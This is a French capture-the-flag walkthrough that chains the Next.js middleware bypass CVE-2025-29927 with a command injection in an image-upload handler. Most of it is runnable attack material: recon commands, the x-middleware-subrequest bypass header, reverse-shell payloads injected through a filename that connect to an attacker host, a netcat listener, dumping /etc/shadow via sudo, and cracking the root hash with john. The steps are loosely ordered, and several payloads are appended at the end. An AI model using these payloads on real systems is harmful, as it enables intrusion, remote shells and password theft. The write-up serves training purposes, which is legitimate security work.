
Défi Capture the Flag : CVE-2025-29927 combiné à une vulnérabilité d'injection de commandes
— — —
kali@kali:~$ nmap <TARGET_IP>
kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
— — —
kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
api (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
apis (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
cgi-bin/ (Status: 308) [Size: 8] [--> /cgi-bin]
dashboard (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
favicon.ico (Status: 200) [Size: 25931]
login (Status: 200) [Size: 6252]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
/dashboard redirige vers /login. Pouvez-vous trouver une information sur la page de connexion qui vous permettra de contourner la redirection ?
— — —
x-middleware-subrequest. Next.js utilise cet en-tête en interne pour empêcher les boucles infinies de middleware. Lorsqu'une requête est traitée, la fonction runMiddleware vérifie les en-têtes de la requête :
x-middleware-subrequest est présent
const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
}
continue;
}
— — —
const filename = file.name; // VULNERABLE: No sanitization!
const sanitizedFilename = filename.replace(/[><&|;$\\:"'!\*\?\#\/]/g, '_')
const filepath = join(uploadsDir, sanitizedFilename);
await writeFile(filepath, buffer);
const command = `convert ${filepath} -resize 100x100 ${join(uploadsDir, 'resized_' + filename)}`;
return new Promise((resolve) => {
exec(command, { shell: '/bin/bash', timeout: 0, maxBuffer: 1024*1024*10 }, (error, stdout, stderr) => {
...
convert est exécutée à l'aide de exec(), et le nom de fichier d'origine (entrée utilisateur) est directement inséré dans la commande shell. Une correction pourrait consister à utiliser des noms de fichiers générés aléatoirement au lieu des noms fournis par l'utilisateur et à utiliser une API sécurisée qui évite le shell.
kali@kali:~$ nc -lvnp 4000
listening on [any] 4000 ...
rockyou.txt.gz avec la commande gzip -d /usr/share/wordlists/rockyou.txt.gz.
— — —
target@target:~$ sudo -l
Matching Defaults entries for webuser on photoresizer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User webuser may run the following commands on photoresizer:
(ALL) NOPASSWD: /usr/bin/cat /etc/shadow
target@target:~$ sudo cat /etc/shadow
root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::
kali@kali:~$ echo 'root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::' > hash.txt
kali@kali:~$ john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
rockyou (root)
1g 0:00:00:00 DONE (2026-02-01 05:42) 1.639g/s 157.3p/s 157.3c/s 157.3C/s 123456..yellow
target@target:~$ su - root
/root :
FLAG{Pr1v1l3g3_Esc4l4t10n_R00T_C0mpr0m1s3d}
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

x-middleware-subrequest
image.jpeg; nc -c sh <ATTACKER_IP> 4000 #
image.jpeg; sh -i >& /dev/tcp/<ATTACKER_IP>/4000 0>&1 #

kali@kali:~$ nc -lvnp 4000
listening on [any] 4000 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 48056
/home/webuser
FLAG{C0mmand_Inj3cti0n_Pwn3d_W3bUs3r}